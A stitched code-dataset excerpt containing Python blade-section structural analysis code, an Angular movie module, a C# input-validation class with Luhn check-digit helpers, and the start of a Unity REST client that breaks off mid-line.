WEB_NUM(pci.readline()) if web == 0: if web_num.Web_num != 1: raise Exception('first web must be numbered 1') else: if web_num.Web_num != (web + 1): raise Exception('web numbering not sequential') if web_num.Inb_end_ch_loc < self.WebsD.Web_nums[web - 1].Inb_end_ch_loc: raise Exception('webs crossing: not allowed currently') if web_num.Oub_end_ch_loc < self.WebsD.Web_nums[web - 1].Oub_end_ch_loc: raise Exception('webs crossing: not allowed currently') self.WebsD.Web_nums.append(web_num) except Exception,ex: Fatal('Webs data Read error:' + str(ex)) PRInfo('main input file read successfully') def LoadMaterials( self, file): with open(file) as inp: for i in range(3): inp.readline() for i in range(self.N_materials): material = Material(inp.readline()) self.Materials.append(material) PRInfo('material read successfully') def __tw_rate( self): for section in range(1,self.N_sections - 1): f0 = self.BssD[section].Tw_aero f1 = self.BssD[section - 1].Tw_aero f2 = self.BssD[section + 1].Tw_aero h1 = self.BssD[section].Span_loc - self.BssD[section - 1].Span_loc h2 = self.BssD[section + 1].Span_loc - self.BssD[section].Span_loc self.BssD[section].th_prime = (h1*(f2-f0) + h2*(f0-f1))/(2.0*h1*h2) self.BssD[0].th_prime = (self.BssD[2].Tw_aero-self.BssD[1].Tw_aero)/(self.BssD[2].Span_loc-self.BssD[1].Span_loc) self.BssD[self.N_sections - 1].th_prime = (self.BssD[self.N_sections - 1].Tw_aero - self.BssD[self.N_sections - 2].Tw_aero)\ /(self.BssD[self.N_sections - 1].Span_loc-self.BssD[self.N_sections - 2].Span_loc) for section in range(self.N_sections): self.BssD[section].phi_prime = 0.0 self.BssD[section].tphip = self.BssD[section].th_prime + 0.5 * self.BssD[section].phi_prime def __ReadGeneralInformation( self, line): try: match = MIF.__giPattern.match(line) if match: return match.group(1) raise Exception('can not match the general information:' + line) except Exception,ex: Fatal(str(ex)) def FindChordwiseLocation(self, iaf, rle, ch): if self.WebsD.Nweb >= 1: self.WebsD.Webs_exist = 1 if iaf < (self.WebsD.Ib_sp_stn - 1) or iaf > (self.WebsD.Ob_sp_stn - 1): PRInfo('No web at the this blade station.') self.WebsD.Webs_exist = 0 else: xlocn = (self.BssD[iaf].Span_loc-self.x1w)/self.l_web for i in range(self.WebsD.Nweb): p1w = self.WebsD.Web_nums[i].Inb_end_ch_loc p2w = self.WebsD.Web_nums[i].Oub_end_ch_loc self.WebsD.Web_nums[i].loc_web = rle - (self.r1w-p1w)*self.ch1*(1.-xlocn)/ch-(self.r2w-p2w)*self.ch2*xlocn/ch if self.WebsD.Web_nums[i].loc_web < 0 or self.WebsD.Web_nums[i].loc_web > 1: Fatal('web no %d outside airfoil boundary at the current blade station' % i) def EmbedAirfoilNodes(self, asf): if self.WebsD.Webs_exist == 1: for i in range(self.WebsD.Nweb): self.WebsD.Web_nums[i].weby_u = asf.Embed_us(self.WebsD.Web_nums[i].loc_web) self.WebsD.Web_nums[i].weby_l = asf.Embed_ls(self.WebsD.Web_nums[i].loc_web) class BSS: """Blade-sections-specific data class """ __linePattern = re.compile(r'^([\d\.-]+)\s+([\d\.-]+)\s+([\d\.-]+)\s+([\d\.-]+)\s+\'(\S+)\'\s+\'(\S+)\'') def __init__( self, line, Bl_length): try: match = BSS.__linePattern.match(line) if match: self.Span_loc = float(match.group(1)) * Bl_length self.Le_loc = float(match.group(2)) self.Chord = float(match.group(3)) self.Tw_aero = math.radians(float(match.group(4))) self.Af_shape_file = match.group(5) self.Int_str_file = match.group(6) self.th_prime = 0.0 self.phi_prime = 0.0 self.tphip = 0.0 else: raise Exception('can not match the blade Sections Specific data:' + line) except Exception,ex: Fatal(str(ex)) class WEBS: """Webs (spars) data class """ def __init__( self): self.Nweb = 0 self.Webs_exist = 1 self.Ib_sp_stn = 0 self.Ob_sp_stn = 0 self.Web_nums = [] class WEB_NUM: """Web data class """ __linePattern = re.compile(r'^(\d+)\s+([\d\.-]+)\s+([\d\.-]+).+') def __init__( self, line): try: match = WEB_NUM.__linePattern.match(line) if match: self.Web_num = int(match.group(1)) self.Inb_end_ch_loc = float(match.group(2)) self.Oub_end_ch_loc = float(match.group(3)) self.loc_web = 0.0 self.weby_u = 0.0 self.weby_l = 0.0 else: raise Exception('can not match the web data:' + line) except Exception,ex: Fatal(str(ex)) class Material: """material property """ __linePattern = re.compile(r'\s+(\d+)\s+([\d\.e+-]+)\s+([\d\.e+-]+)\s+([\d\.e+-]+)\s+([\d\.e+-]+)\s+([\d\.e+-]+).+') def __init__( self, line): try: match = Material.__linePattern.match(line) matdum = match.group(1) e1 = float(match.group(2)) e2 = float(match.group(3)) g12 = float(match.group(4)) anu12 = float(match.group(5)) self.density = float(match.group(6)) if anu12 > math.sqrt(e1/e2): Warn(matdum + 'properties not consistent') anud = 1.0 - anu12*anu12*e2/e1 self.q11 = e1/anud self.q22 = e2/anud self.q12 = anu12*e2/anud self.q66 = g12 except Exception,ex: Fatal(str(ex)) class ASF: '''airfoil geometry ''' __nsPattern = re.compile(r'^([^\s]+)\s+.+') __nodeXYPattern = re.compile(r'^([\d\.eE+-]+)\s+([\d\.eE+-]+).*') def __init__( self, file): try: with open(file) as asf: self.n_af_nodes = int(self.__ReadNodesNum(asf.readline())) self.nodes_u = 0 self.xnode_u = [] self.ynode_u = [] self.nodes_l = 0 self.xnode_l = [] self.ynode_l = [] self.xnode = [0] * self.n_af_nodes self.ynode = [0] * self.n_af_nodes for i in range(3): asf.readline() if self.n_af_nodes <= 2: raise Exception('min 3 nodes reqd to define airfoil geometry') for node in range(self.n_af_nodes): self.xnode[node],self.ynode[node] = self.__ReadNodeXY(asf.readline()) except Exception,ex: Fatal(str(ex)) def __ReadNodesNum( self, line): try: match = ASF.__nsPattern.match(line) if match: return match.group(1) raise Exception('can not match the general information:' + line) except Exception,ex: Fatal(str(ex)) def __ReadNodeXY( self, line): try: match = ASF.__nodeXYPattern.match(line) if match: return (float(match.group(1)), float(match.group(2))) raise Exception('can not match the general information:' + line) except Exception,ex: Fatal(str(ex)) def CheckFirstNode(self): location = self.xnode.index(min(self.xnode)) if location != 0: Fatal('the first airfoil node not a leading node') if self.xnode[0] != 0 or self.ynode[0] != 0 : Fatal('leading-edge node not located at (0,0)') def IdentifyTrailingEdge(self): location = self.xnode.index(max(self.xnode)) if self.xnode[location] > 1: Fatal('trailing-edge node exceeds chord boundary') tenode_u = location + 1 ncounter = 0 for i in range(location, self.n_af_nodes): if abs(self.xnode[i] - self.xnode[location]) == 0: ncounter = i - location tenode_l = tenode_u + ncounter if ncounter > 0: PRInfo('blunt te identified between airfoil nodes %d and %d' % (tenode_u,tenode_l)) self.nodes_u = tenode_u self.xnode_u = [0] * self.nodes_u self.ynode_u = [0] * self.nodes_u self.nodes_l = self.n_af_nodes - tenode_l + 2 self.xnode_l = [0] * tenode_l self.ynode_l = [0] * tenode_l for i in range(self.nodes_u): self.xnode_u[i] = self.xnode[i] self.ynode_u[i] = self.ynode[i] self.xnode_l[0] = self.xnode[0] self.ynode_l[0] = self.ynode[0] for i in range(1,tenode_l): self.xnode_l[i] = self.xnode[self.n_af_nodes-i] self.ynode_l[i] = self.ynode[self.n_af_nodes-i] def EnsureSingleValue(self): for i in range(1, self.nodes_u): if (self.xnode_u[i] - self.xnode_u[i-1]) == 0: Fatal('upper surface not single-valued') for i in range(1, self.nodes_l): if (self.xnode_l[i] - self.xnode_l[i-1]) == 0: Fatal('lower surface not single-valued') def CheckClockwise(self): if self.ynode_u[1]/self.xnode_u[1] <= self.ynode_l[1]/self.xnode_l[1]: Fatal('airfoil node numbering not clockwise') def CheckSingleConnectivity(self): for j in range(1,self.nodes_l-1): x = self.xnode_l[j] for i in range(self.nodes_u-1): xl = self.xnode_u[i] xr = self.xnode_u[i+1] if x >= xl and x <= xr: yl = self.ynode_u[i] yr = self.ynode_u[i+1] y = yl + (yr-yl)*(x-xl)/(xr-xl) if self.ynode_l[j] >= y: Fatal('airfoil shape self-crossing') def Embed_us(self, loc_web): newnode = -1 for i in range(self.nodes_u - 1): xl = self.xnode_u[i] xr = self.xnode_u[i+1] yl = self.ynode_u[i] if abs(loc_web - xl) <= 0: newnode = 0 isave = i y = yl break else: if loc_web < xr: yr = self.ynode_u[i+1] y = yl + (yr-yl)*(loc_web-xl)/(xr-xl) newnode = i + 1 break if newnode == -1: if abs(loc_web - self.xnode_u[self.nodes_u - 1]) <= 0: newnode = 0 isave = self.nodes_u - 1 y = self.ynode_u[self.nodes_u - 1] else: Fatal('ERROR unknown, consult NWTC') if newnode > 0: self.nodes_u = self.nodes_u + 1 self.xnode_u.append(0) self.ynode_u.append(0) for i in range(self.nodes_u - 1,newnode,-1): self.xnode_u[i] = self.xnode_u[i-1] self.ynode_u[i] = self.ynode_u[i-1] self.xnode_u[newnode] = loc_web self.ynode_u[newnode] = y else: newnode = isave return (y,newnode) def Embed_ls(self, loc_web): newnode = -1 for i in range(self.nodes_l - 1): xl = self.xnode_l[i] xr = self.xnode_l[i+1] yl = self.ynode_l[i] if abs(loc_web - xl) <= 0: newnode = 0 isave = i y = yl break else: if loc_web < xr: yr = self.ynode_l[i+1] y = yl + (yr-yl)*(loc_web-xl)/(xr-xl) newnode = i + 1 break if newnode == -1: if abs(loc_web - self.xnode_l[self.nodes_l - 1]) <= 0: newnode = 0 isave = self.nodes_l - 1 y = self.ynode_u[self.nodes_l - 1] else: Fatal('ERROR unknown, consult NWTC') if newnode > 0: self.nodes_l = self.nodes_l + 1 self.xnode_l.append(0) self.ynode_l.append(0) for i in range(self.nodes_l - 1,newnode,-1): self.xnode_l[i] = self.xnode_l[i-1] self.ynode_l[i] = self.ynode_l[i-1] self.xnode_l[newnode] = loc_web self.ynode_l[newnode] = y else: newnode = isave return (y,newnode) class ISD: '''internal srtucture data ''' __nsPattern = re.compile(r'^([^\s]+)\s+.+') __xnPattern = re.compile(r'^([\d\.eE+-]+)\s+([\d\.eE+-]+).*') def __init__( self, file, mif, asf): try: self.n_scts = [0] * 2 self.xsec_node = [[]] * 2 self.n_laminas = [[]] * 2 self.tht_lam = [[[]]] * 2 self.mat_id = [[[]]] * 2 self.tlam = [[[]]] * 2 self.n_weblams = [] self.tht_wlam = [[]] self.twlam = [[]] self.wmat_id = [[]] with open(file) as isd: for ins in range(2): for x in range(3): isd.readline() self.n_scts[ins] = int(self.__ReadSectorsNum(isd.readline())) nsects = self.n_scts[ins] if nsects <= 0 : raise Exception('no of sectors not positive') for x in range(2): isd.readline() self.xsec_node[ins] = [0.0] * (nsects + 1) self.xsec_node[ins] = [float(x) for x in isd.readline().split()] if self.xsec_node[ins][0] < 0 : raise Exception('sector node x-location not positive') if ins == 0: xu1 = self.xsec_node[ins][0] xu2 = self.xsec_node[ins][nsects] if xu2 > asf.xnode_u[asf.nodes_u - 1]: raise Exception('upper-surf last sector node out of bounds') else: xl1 = self.xsec_node[ins][0] xl2 = self.xsec_node[ins][nsects] if xl2 > asf.xnode_l[asf.nodes_l - 1]: raise Exception('lower-surf last sector node out of bounds') for i in range(nsects): if self.xsec_node[ins][i+1] <= self.xsec_node[ins][i]: raise Exception('sector nodal x-locations not in ascending order') self.n_laminas[ins] = [0] * nsects self.tht_lam[ins] = [0] * nsects self.mat_id[ins] = [0] * nsects self.tlam[ins] = [0] * nsects for isect in range(nsects): for x in range(2): isd.readline() idum,self.n_laminas[ins][isect] = [int(x) for x in isd.readline().split()] self.tht_lam[ins][isect] = [0] * self.n_laminas[ins][isect] self.mat_id[ins][isect] = [0] * self.n_laminas[ins][isect] self.tlam[ins][isect] = [0] * self.n_laminas[ins][isect] if (idum - 1) != isect: raise Exception('%d is a wrong or out-of-sequence sector number' % idum) for x in range(4): isd.readline() for lam in range(self.n_laminas[ins][isect]): laminae = isd.readline().split() idum = int(laminae[0]) n_plies = int(laminae[1]) tply = float(laminae[2]) self.tht_lam[ins][isect][lam] = int(laminae[3]) self.mat_id[ins][isect][lam] = int(laminae[4]) if (idum - 1) != lam: raise Exception('%d is a wrong or out-of-sequence lamina number' % idum) self.tlam[ins][isect][lam] = n_plies*tply self.tht_lam[ins][isect][lam] = math.radians(self.tht_lam[ins][isect][lam]) for i in range(nsects+1): if ins == 0: ynd,newnode = asf.Embed_us(self.xsec_node[ins][i]) if i == 0: yu1 = ynd ndu1 = newnode if i == nsects: yu2 = ynd ndu2 = newnode if ins == 1: ynd,newnode = asf.Embed_ls(self.xsec_node[ins][i]) if i == 0: yl1 = ynd ndl1 = newnode if i == nsects: yl2 = ynd ndl2 = newnode #end blade surfaces loop #check for le and te non-closures and issue warning if abs(xu1-xl1) > 0: Warn('the leading edge may be open; check closure') else: if (yu1 - yl1) > 0: wreq = 1 if mif.WebsD.Webs_exist != 0: if abs(xu1 - mif.WebsD.Web_nums[0].loc_web) == 0: wreq = 0 if wreq == 1: Warn('open leading edge; check web requirement') if abs(xu2 - xl2) > 0: Warn('the trailing edge may be open; check closure') else: if (yu2 - yl2) > 0: wreq = 1 if mif.WebsD.Webs_exist != 0: if abs(xu2 - mif.WebsD.Web_nums[mif.WebsD.Nweb - 1].loc_web) == 0: wreq = 0 if wreq == 1: Warn('open trailing edge; check web requirement') if mif.WebsD.Webs_exist == 1: for x in range(4): isd.readline() self.n_weblams = [0] * mif.WebsD.Nweb self.tht_wlam = [0] * mif.WebsD.Nweb self.wmat_id = [0] * mif.WebsD.Nweb self.twlam = [0] * mif.WebsD.Nweb for iweb in range(mif.WebsD.Nweb): for x in range(2): isd.readline() idum, self.n_weblams[iweb] = [int(x) for x in isd.readline().split()] if (idum - 1) != iweb: Fatal('%d is a wrong or out-of-sequence web number' % idum) for x in range(4): isd.readline() self.tht_wlam[iweb] = [0] * self.n_weblams[iweb] self.wmat_id[iweb] = [0] * self.n_weblams[iweb] self.twlam[iweb] = [0] * self.n_weblams[iweb] for lam in range(self.n_weblams[iweb]): weblams = isd.readline().split() idum = int(weblams[0]) n_plies = int(weblams[1]) tply = float(weblams[2]) self.tht_wlam[iweb][lam] = int(weblams[3]) self.wmat_id[iweb][lam] = int(weblams[4]) if (idum - 1) != lam : Fatal('%d is a wrong or out-of-sequence web lamina number' % idum) self.twlam[iweb][lam] = n_plies*tply self.tht_wlam[iweb][lam] = math.radians(self.tht_wlam[iweb][lam]) if mif.WebsD.Web_nums[0].loc_web < xu1 or mif.WebsD.Web_nums[0].loc_web < xl1: Fatal('first web out of sectors-bounded airfoil') if mif.WebsD.Web_nums[mif.WebsD.Nweb - 1].loc_web > xu2 or \ mif.WebsD.Web_nums[mif.WebsD.Nweb - 1].loc_web > xl2: Fatal('last web out of sectors-bounded airfoil') #all inputs successfully read and checked PRInfo('read internal srtucture data successfully') except Exception,ex: Fatal(str(ex)) def __ReadSectorsNum( self, line): try: match = ISD.__nsPattern.match(line) if match: return match.group(1) raise Exception('can not match the general information:' + line) except Exception,ex: Fatal(str(ex)) def __ReadChordLocation( self, line): try: match = ISD.__nsPattern.match(line) if match: return match.group(1) raise Exception('can not match the general information:' + line) except Exception,ex: Fatal(str(ex)) def BuildOutFile(mifObject): OutFile_gen = '%s.out_gen' % (mifObject.file_name) OutFile_bmd = '%s.out_bmd' % (mifObject.file_name) if mifObject.Out_format != 2: with open(OutFile_gen,'w') as gen: cutoff = '====================================\ ==============================================\n' gen.write(cutoff) gen.write('Results generated by %s %s on %s.\n' % (ProgName, Version, datetime.datetime.now())) gen.write('%s\n' % mifObject.name) gen.write(cutoff) gen.write('\n') gen.write(' blade length (meters) =%7.2f\n\n' % mifObject.Bl_length) delim = '\t' if not mifObject.TabDelim: delim = ' ' gen.write(' ') gen.write('span_loc%schord%stw_aero%sei_flap%sei_lag%sgj%sea%ss_fl%ss_af%ss_al%s\ s_ft%ss_lt%ss_at%sx_sc%sy_sc%sx_tc%sy_tc%smass%sflap_iner%slag_iner%stw_iner%sx_cm%sy_cm\n' % tuple((delim,) * 22)) gen.write(' (-)%s(m)%s(deg)%s(Nm^2)%s(Nm^2)%s(Nm^2)%s(N)%s(Nm^2)%s(Nm)%s(Nm)%s\ (Nm^2)%s(Nm^2)%s(Nm)%s(m)%s(m)%s(m)%s(m)%s(Kg/m)%s(Kg-m)%s(Kg-m)%s(deg)%s(m)%s(m)\n' % tuple((' ',) * 22)) if mifObject.Out_format != 1: with open(OutFile_bmd,'w') as bmd: cutoff = '====================================\ ==============================================\n' bmd.write(cutoff) bmd.write('Results generated by %s %s on %s.\n' % (ProgName, Version, datetime.datetime.now())) bmd.write('%s\n' % mifObject.name) bmd.write(cutoff) bmd.write('\n') bmd.write(' blade length (meters) =%7.2f\n\n' % mifObject.Bl_length) delim = '\t' if not mifObject.TabDelim: delim = ' ' bmd.write(' ') bmd.write('span_loc%sstr_tw%stw_iner%smass_den%sflp_iner%sedge_iner%s\ flp_stff%sedge_stff%stor_stff%saxial_stff%scg_offst%ssc_offst%stc_offst' % tuple((delim,) * 12)) bmd.write(' (-)%s(deg)%s(deg)%s(kg/m)%s(kg-m)%s(kg-m)%s(Nm^2)%s\ (Nm^2)%s(Nm^2)%s(N)%s(m)%s(m)%s(m)' % tuple((' ',) * 12)) PRInfo('general out_format successfully') if __name__ == "__main__": mif = MIF() mif.LoadPci('test01_composite_blade.pci') mif.LoadMaterials('materials.inp') BuildOutFile(mif) #begin blade sections loop PRInfo('begin blade sections loop') for iaf in range(mif.N_sections): PRInfo('BLADE STATION %d analysis begins' % (iaf+1)) ch = mif.BssD[iaf].Chord rle = mif.BssD[iaf].Le_loc asf = ASF(mif.BssD[iaf].Af_shape_file) asf.CheckFirstNode() asf.IdentifyTrailingEdge() asf.EnsureSingleValue() asf.CheckClockwise() asf.CheckSingleConnectivity() mif.FindChordwiseLocation(iaf,rle,ch) mif.EmbedAirfoilNodes(asf) isd = ISD(mif.BssD[iaf].Int_str_file, mif, asf) PRInfo('BLADE STATION %d analysis ends' % (iaf+1))
40.219331
132
0.454109
a193129460414127ad1e9644803ddcbb93a2408e
617
ts
TypeScript
my-project-angular/src/app/views/movie/movie.module.ts
williamgithub123/netcoreangular
cb2144ee1c3d55d73284afc5d863b45e2fb1e774
[ "MIT" ]
null
null
null
my-project-angular/src/app/views/movie/movie.module.ts
williamgithub123/netcoreangular
cb2144ee1c3d55d73284afc5d863b45e2fb1e774
[ "MIT" ]
null
null
null
my-project-angular/src/app/views/movie/movie.module.ts
williamgithub123/netcoreangular
cb2144ee1c3d55d73284afc5d863b45e2fb1e774
[ "MIT" ]
null
null
null
// Angular import { CommonModule } from '@angular/common'; import { NgModule } from '@angular/core'; import { List_movieComponent } from './list_movie.component'; // Theme Routing import { MovieRoutingModule } from './movie-routing.module'; import {Ng2SmartTableModule} from "ng2-smart-table"; import {FormsMovieComponent} from "./form_movie.component"; import {FormsModule} from "@angular/forms"; @NgModule({ imports: [ CommonModule, MovieRoutingModule, Ng2SmartTableModule, FormsModule ], declarations: [ List_movieComponent, FormsMovieComponent ] }) export class MovieModule { }
23.730769
61
0.724473
5adc4b388c7bc500885871df18da0a1b04d249c4
15,048
cs
C#
archive/src-1.2.0.5/Common/Validation.cs
chempro/hi-b2b-client-dotnet
5d3c76dad67f88c5e7b2d84339c89b8bd976a64f
[ "Apache-2.0" ]
7
2018-06-26T06:49:19.000Z
2021-01-11T07:15:28.000Z
archive/src-1.2.0.5/Common/Validation.cs
chempro/hi-b2b-client-dotnet
5d3c76dad67f88c5e7b2d84339c89b8bd976a64f
[ "Apache-2.0" ]
4
2019-05-06T01:56:24.000Z
2021-11-25T02:36:16.000Z
archive/src-1.2.0.5/Common/Validation.cs
chempro/hi-b2b-client-dotnet
5d3c76dad67f88c5e7b2d84339c89b8bd976a64f
[ "Apache-2.0" ]
8
2018-06-12T02:12:29.000Z
2022-01-30T09:58:13.000Z
/* * Copyright 2012 NEHTA * * Licensed under the NEHTA Open Source (Apache) License; you may not use this * file except in compliance with the License. A copy of the License is in the * 'license.txt' file, which should be provided with this work. * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. */ using System; using System.Collections.Generic; using System.Linq; using System.Text; using Nehta.VendorLibrary.Common.Properties; using System.Text.RegularExpressions; using System.Collections; namespace Nehta.VendorLibrary.Common { /// <summary> /// Helper class used for validation. /// </summary> public class Validation { /// <summary> /// Validates that the string argument matches an expected string. /// </summary> /// <param name="name">The name of the argument to validate.</param> /// <param name="value">The value of the argument to validate.</param> /// <param name="expected">The expected value of the argument.</param> public static void ValidateStringMatch(string name, string value, string expected) { if (value != expected) throw new ArgumentException(string.Format("{0} should match value of '{1}'", name, expected), name); } /// <summary> /// Validates that at least one of multiple arguments is provided. Arguments and names are provided /// in a dictionary. /// </summary> /// <param name="nameValues">A dictionary containing the argument names and values.</param> public static void ValidateArgumentAtLeastOneRequired(Dictionary<string, object> nameValues) { bool isValid = false; string namesList = ""; foreach (KeyValuePair<string, object> pair in nameValues) { if (pair.Value is string && ((string)pair.Value).Trim() != string.Empty) isValid = true; else if (!(pair.Value is string) && pair.Value != null) isValid = true; namesList += ", " + pair.Key; } if (!isValid) throw new ArgumentException(Resources.ParameterAtLeastOneRequired, namesList.Substring(2)); } /// <summary> /// Validates that the array contains at least one element. /// </summary> /// <param name="name">The name of the argument to validate.</param> /// <param name="array">The value of the argument to validate.</param> public static void ValidateArgumentRequired(string name, object[] array) { if (array == null || array.Length == 0) throw new ArgumentException(Resources.ParameterRequired, name); } /// <summary> /// Validates that the object is not null, and that if it is a string it contains a value /// and is not an empty string. /// </summary> /// <param name="name">The name of the argument to validate.</param> /// <param name="value">The value of the argument to validate.</param> public static void ValidateArgumentRequired(string name, object value) { if (value == null || (value is string && ((string)value).Trim() == string.Empty)) throw new ArgumentException(Resources.ParameterRequired, name); } /// <summary> /// Validates that a collection object has at least one value in it. /// </summary> /// <param name="name">The name of the argument to validate.</param> /// <param name="value">The collection object.</param> public static void ValidateArgumentRequired(string name, ICollection value) { if (value == null || value.Count <= 0) throw new ArgumentException(Resources.ParameterAtLeastOneRequired, name); } /// <summary> /// Validates that the object is null or that if it is a string it contains a value /// and is an empty string. /// </summary> /// <param name="name">The name of the argument to validate.</param> /// <param name="value">The value of the argument to validate.</param> public static void ValidateArgumentNotAllowed(string name, object value) { if (value != null) throw new ArgumentException(Resources.ParameterNotAllowed, name); } /// <summary> /// Validates that the parameter is not specified, as denoted by the "isSpecified" field. /// </summary> /// <param name="name">The name of the argument.</param> /// <param name="isSpecified">The [field]isSpecified field.</param> public static void ValidateArgumentNotAllowed(string name, bool isSpecified) { if (isSpecified != false) throw new ArgumentException(Resources.ParameterNotAllowed, name); } /// <summary> /// Validates that the string array contains at least one element which is not an empty string. /// </summary> /// <param name="name">The name of the argument to validate.</param> /// <param name="values">The value of the argument to validate.</param> public static void ValidateArgumentRequired(string name, string[] values) { if (values == null || values.Length == 0 || string.IsNullOrEmpty(values[0].Trim())) throw new ArgumentException(Resources.ParameterRequired, name); } /// <summary> /// Validates that a date time has been set (by checking that it is not the minimum value). /// </summary> /// <param name="name">The name of the argument to validate.</param> /// <param name="date">The DateTime value.</param> public static void ValidateDateTime(string name, DateTime date) { if (date == DateTime.MinValue) throw new ArgumentException(Resources.ParameterDateRequired, name); } /// <summary> /// Validates that an integer is within acceptable range. /// </summary> /// <param name="name">The name of the argument to validate.</param> /// <param name="lowerBound">The inclusive lower bound to validate against.</param> /// <param name="upperBound">The inclusive upper bound to validate against.</param> /// <param name="value">The value to be validated.</param> public static void ValidateNumberRange(string name, int? lowerBound, int? upperBound, int value) { if (lowerBound != null && value < lowerBound) throw new ArgumentException(string.Format(Resources.ParameterGreaterThan, value), name); else if (upperBound != null && value > upperBound) throw new ArgumentException(string.Format(Resources.ParameterLessThan, value), name); } /// <summary> /// Validates that the argument is a UUID. /// </summary> /// <param name="name">The name of the argument to validate.</param> /// <param name="value">The value of the argument to validate.</param> /// <param name="required">Indicates if the argument is required.</param> public static void ValidateUUID(string name, string value, bool required) { if (required) ValidateArgumentRequired(name, value); if (!value.StartsWith("urn:uuid:")) throw new ArgumentException(Resources.ParameterInvalidUUID, name); } /// <summary> /// Validates that an argument is a valid qualified HPII. /// </summary> /// <param name="name">The name of the argument to validate.</param> /// <param name="value">The value of the argument to validate.</param> /// <param name="required">Indicates if the argument is required.</param> public static void ValidateHPII(string name, string value, bool required) { if (required) ValidateArgumentRequired(name, value); if (!value.StartsWith(HIQualifiers.HPIIQualifier)) throw new ArgumentException(string.Format(Resources.ParameterInvalidHPII, HIQualifiers.HPIIQualifier), name); } /// <summary> /// Validates that an argument is a valid qualified HPIO. /// </summary> /// <param name="name">The name of the argument to validate.</param> /// <param name="value">The value of the argument to validate.</param> /// <param name="required">Indicates if the argument is required.</param> public static void ValidateHPIO(string name, string value, bool required) { if (required) ValidateArgumentRequired(name, value); if (!value.StartsWith(HIQualifiers.HPIOQualifier)) throw new ArgumentException(string.Format(Resources.ParameterInvalidHPIO, HIQualifiers.HPIOQualifier), name); } /// <summary> /// Validates that an argument is a valid qualified IHI. /// </summary> /// <param name="name">The name of the argument to validate.</param> /// <param name="value">The value of the argument to validate.</param> /// <param name="required">Indicates if the argument is required.</param> public static void ValidateIHI(string name, string value, bool required) { if (required) ValidateArgumentRequired(name, value); if (!value.StartsWith(HIQualifiers.IHIQualifier)) throw new ArgumentException(string.Format(Resources.ParameterInvalidIHI, HIQualifiers.IHIQualifier), name); } /// <summary> /// Validates that a DateTime is a time in the past (a tolerance of 2 minutes is set). /// </summary> /// <param name="name">The name of the argument to validate.</param> /// <param name="value">The value of the argument to validate.</param> /// <param name="required">Indicates if the argument is required.</param> public static void ValidatePastDateTime(string name, DateTime value, bool required) { if (required) ValidateDateTime(name, value); DateTime comparison = DateTime.Now.AddMinutes(2); if (value > comparison) throw new ArgumentException(Resources.ParameterPastDate, name); } /// <summary> /// Validates that a string is of a particular length. /// </summary> /// <param name="name">The name of the argument to validate.</param> /// <param name="value">The value of the string to validate.</param> /// <param name="length">The length that the string has to be.</param> /// <param name="required">Indicates if the argument is required.</param> public static void ValidateStringLength(string name, string value, int length, bool required) { if (required) ValidateArgumentRequired(name, value); if (!string.IsNullOrEmpty(value) && value.Length != length) throw new ArgumentException(string.Format(Resources.ParameterStringLength, length), name); } /// <summary> /// Calculates a valid identifier with a correct LUHN check digit /// </summary> /// <param name="healthIdentifier">15 digit identifier as a string</param> /// <returns>16 digit identifier with a valid LUHN check digit in the 16th position.</returns> public static string CalculateLuhnCheckDigit(string healthIdentifier) { string healthIdentifierOutput = ""; int sum = 0; bool mod2 = true; if (healthIdentifier == null) { throw new ArgumentException("INVALID Health Identifier - null value"); } //Remove unwanted characters (space, '-') healthIdentifier = healthIdentifier.Replace(" ", "").Replace("-", ""); if (healthIdentifier.Length == 15) { try { for (int i = 14; i >= 0; i--) { int curr = Convert.ToInt32(healthIdentifier.Substring(i, 1)); if (mod2) { curr *= 2; if (curr > 9) curr -= 9; } mod2 = !mod2; sum += curr; } int check = Convert.ToInt32(sum.ToString().Substring(sum.ToString().Length - 1, 1)); if (check > 0) check = 10 - check; healthIdentifierOutput = healthIdentifier + check.ToString(); } catch (Exception) { throw new Exception(string.Format("ERROR calcualting health identifier LUNH check digit: {0}", healthIdentifier)); } } else { throw new ArgumentException(string.Format("INVALID Health Identifier - must be 15 digits : {0}", healthIdentifier)); } return (healthIdentifierOutput); } /// <summary> /// Validates a 16 digit LUHN checked health identifier /// </summary> /// <param name="healthIdentifierWithLuhnCheckDigit">16 digit health identifier that includes a LUHN check digit.</param> /// <returns>Boolean : True if input is a valid LUHN checked number, False otherwise.</returns> public static bool ValidateLuhnCheckDigit(string healthIdentifierWithLuhnCheckDigit) { string generatedHealthIdentifier = string.Empty; if (healthIdentifierWithLuhnCheckDigit == null) { throw new ArgumentException("INVALID Health Identifier - null value"); } //Remove unwanted characters (space, '-') healthIdentifierWithLuhnCheckDigit = healthIdentifierWithLuhnCheckDigit.Replace(" ", "").Replace("-", ""); try { var tempHealthIdentifier = healthIdentifierWithLuhnCheckDigit; if (healthIdentifierWithLuhnCheckDigit.Length > 15) { tempHealthIdentifier = healthIdentifierWithLuhnCheckDigit.Substring(0, 15); } generatedHealthIdentifier = CalculateLuhnCheckDigit(tempHealthIdentifier); } catch (Exception) { return false; } return (generatedHealthIdentifier == healthIdentifierWithLuhnCheckDigit); } } }
44.258824
134
0.594763
0a4160469d0f76fc8581224564ede116124ece53
29,163
cs
C#
Scripts/RestClient.cs
insthync/unity-rest-client
4cfdf42e61d8af1fe5fae798c8002fe5a1c2ab28
[ "MIT" ]
null
null
null
Scripts/RestClient.cs
insthync/unity-rest-client
4cfdf42e61d8af1fe5fae798c8002fe5a1c2ab28
[ "MIT" ]
2
2022-01-16T13:30:28.000Z
2022-03-31T11:21:19.000Z
Scripts/RestClient.cs
insthync/unity-rest-client
4cfdf42e61d8af1fe5fae798c8002fe5a1c2ab28
[ "MIT" ]
null
null
null
using Newtonsoft.Json; using System; using System.Collections; using System.Collections.Generic; using System.Text; using System.Threading.Tasks; using UnityEngine; using UnityEngine.Networking; namespace UnityRestClient { public class RestClient : MonoBehaviour { public static bool DoNotCountNextRequest { get; set; } public static int PostLoadCount { get; private set; } public static int PatchLoadCount { get; private set; } public static int PutLoadCount { get; private set; } public static int DeleteLoadCount { get; private set; } public static int GetLoadCount { get; private set; } public static int LoadCount { get { return PostLoadCount + PatchLoadCount + PutLoadCount + DeleteLoadCount + GetLoadCount; } } public static string GetQueryString(Dictionary<string, object> queries) { StringBuilder queryStringBuilder = new StringBuilder(); int i = 0; foreach (var query in queries) { if (string.IsNullOrEmpty(query.Key) || query.Value == null) continue; if (i == 0) queryStringBuilder.Append('?'); else queryStringBuilder.Append('&'); if (query.Value.GetType().IsArray || 